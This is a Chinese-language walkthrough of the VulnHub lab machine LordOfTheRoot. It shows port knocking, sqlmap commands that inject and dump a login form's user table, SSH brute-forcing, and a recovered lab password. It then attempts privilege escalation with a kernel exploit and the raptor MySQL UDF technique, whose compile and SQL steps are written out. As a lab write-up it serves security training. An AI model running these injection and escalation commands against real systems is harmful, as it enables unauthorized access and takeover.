2021年1月1日-LordOfTheRoot 渗透学习
一、简介
靶机下载地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
kali地址:192.168.31.77
靶机IP地址:192.168.31.95
二、信息收集
发现靶机IP地址:192.168.31.95
扫描到开放着 22端口
先将22端口作为突破口,访问一下
提示 Easy as 1,2,3
可能存在端口碰撞
端口碰撞尝试一下
重新扫描 发现1337端口
通过浏览器访问 1337端口,并没有发现什么有价值的线索
尝试访问robots.txt
robots.txt是每次渗透都要重视的文件
发现base64 的编码 THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
对其进行解码两次
发现 /978345210/index.php
访问http://192.168.31.95:1337/978345210/index.php
是一个登录页面,使用sqlmap爆破一下
由于我们不知道用户名和密码,因此,使用SQLMAP进行基于登录表单的注入,
sqlmap -u 'http://192.168.31.95:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
收集数据表
sqlmap -u 'http://192.168.31.95:1337/978345210/index.php' --forms -D Webapp --tables --risk=3 --level=5 --threads=4 --batch
查看User数据表
sqlmap -u 'http://192.168.31.95:1337/978345210/index.php' --forms -D Webapp -T Users --columns --risk=3 --level=5 --threads=4 --batch
sqlmap -u 'http://192.168.31.95:1337/978345210/index.php' --forms -D Webapp -T Users -C id,username,password --dump --batch
将用户名和密码分别保存在两个文件中
使用msfconsole 爆破ssh的密码,得到 smeagol:MyPreciousR00t
三、提权
第一种方法:利用系统漏洞提权
登录ssh 并 查看内核版本
搜索该版本的漏洞
将39166.c 从 /usr/share/exploitdb/exploits/linux/local/39166.c 复制出来
利用python 开启http服务
将39166.c 加载到本地,编译执行,获得权限
第二种方法:使用mysql提权
查看mysql 的版本
查看mysql 数据库的root密码
搜索对应版本的漏洞
将1518.c下载到靶机本地
查看1518.c的使用方法
mv 1518.c raptor_udf2.c 重命名
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! sh
sh-2.05b$ cat /tmp/out
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/raptor_udf2.so’;
此方法卡在这里了,权限不足无法将已经创建的文件删除
第三种方法:缓冲区溢出提权
未完待续。。